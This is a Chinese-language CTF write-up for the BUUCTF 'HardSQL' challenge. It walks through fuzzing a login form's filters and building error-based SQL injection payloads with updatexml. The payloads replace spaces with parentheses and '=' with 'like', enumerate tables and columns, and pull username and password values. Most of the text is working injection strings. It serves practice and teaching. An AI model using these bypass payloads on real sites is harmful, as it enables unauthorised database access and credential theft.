9.10 BUUCTF [极客大挑战 2019]HardSQL
考察的绕过方法挺多的
首先 用burpsuite对 username 进行fuzz测试
发现 过滤了 and 空格 # /**/ = & && 等
所以空格只能用括号绕过
但是它没有过滤 or select from where!
再加上我们发现单引号能触发报错 所以可以报错注入
这里有个考点:
以前的报错注入 都是:
?id=1' and updatexml(...)
其实这里将and换成or也是一样的效果 而且 1'和or(and)之间不需要空格分隔
构造payload:
?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))--+&password='1'or'1
得到 geek
继续:
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_name='geek')),0x7e),1))--+&password='1'or'1
然而是不行的 因为过滤了'=' 我们 用 like来代替'='同时注意加括号一定是 xx=xx这个整体!
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))--+&password='1'or'1
得到了 table_name:'H4rDsq1'
然后爆破columns: 注意因为没了and且数据库单一所以只用 table_name的限制即可
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))--+&password='1'or'1
得到columns:username,password
然后直接获取:
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)),0x7e),1))--+&password='1'or'1
但是只能得到一部分flag:
为了得到所有的flag 用right()方法:
?username=1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))--+&password='1'or'1
自己慢慢调整 $25 这个参数就能得到完整的flag值了
总结
1.fuzz测试 重点是要发现 ' 会引发报错 select where updatexml这些报错注入用的没有被过滤
2.and过滤了 or没有过滤!!!
3.括号绕过空格 实现要注意细节
4.关于username后的注释符号添加 多尝试几个 password直接用永真闭合即可
5.right(string,$len)方法的考察